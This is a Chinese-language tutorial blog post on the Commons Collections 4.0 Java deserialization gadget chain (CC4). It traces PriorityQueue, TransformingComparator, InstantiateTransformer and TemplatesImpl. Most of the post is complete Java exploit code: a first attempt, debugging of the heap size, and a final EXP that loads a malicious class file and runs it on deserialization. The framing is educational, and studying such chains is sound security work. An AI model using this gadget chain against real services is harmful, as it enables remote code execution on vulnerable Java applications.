<1>环境分析

因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 不再继承 Serializable，导致无法序列化。
同时 CommonsCollections 4的版本 TransformingComparator 继承了 Serializable接口，而CommonsCollections 3里是没有的。这个就提供了一个攻击的路径

jdk：jdk8u65
CC：Commons-Collections 4.0
pom.xml 添加

<dependency>  
 <groupId>org.apache.commons</groupId>  
 <artifactId>commons-collections4</artifactId>  
 <version>4.0</version>  
</dependency>

<2>链子分析

CC4实际上是另一个分支，不同于CC1用 LazyMap.get() 调用 .transform() CC4用TransformingComparator.compare() 调用

CC4的命令执行点则是 TemplatesImpl加载恶意类因此链子后半段可以沿用CC3 不需要更改

我们再来看一看哪里调用了 compare

这里的话，找到了 PriorityQueue 优先队列类里调用了compare 我们看一下

CC4的链子整体为：

/*
PriorityQueue.readObject()
    PriorityQueue.heapify()  
        PriorityQueue.siftDown()
            PriorityQueue.siftDownUsingComparator()
                TransformingComparator.compare()
                    ChainedTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                                defineClass()->newInstance()
*/

<3> 编写EXP

按着链子写下来，应该是这样

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        //transformingComparator.compare(1,2);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        serialize(priorityQueue);
        unserialize("sercc4.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

但是这里并没有弹出计算器，我们调试看看哪一步卡住了

这里PriorityQueue.heapify() 里我们应该进入循环，想执行 siftDown() 但这里size为0
0>>>1 = 0
我们运行一下，可以看道 2>>>1 = 1

那我们就知道了长度size为2的时候，会进入我们在队列代码里add随便加两个

    priorityQueue.add(1);
    priorityQueue.add(2);

再运行，就弹出来计算器。但是这里的话，还有一个问题

就是 add() -> offer() -> siftUp() -> siftUpUsingComparator() 就是这个add他也会执行compare，本地执行的并不是通过反序列化弹出的shell

所以这里我们初始化时需要，先不赋值 transformingComparator，执行完add之后，反射再改回来即可
最终EXP如下：

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","1vxyz");

        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        //transformingComparator.compare(1,2);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(transformingComparator,"transformer",chainedTransformer);
        //serialize(priorityQueue);
        unserialize("sercc4.bin");
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc4.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}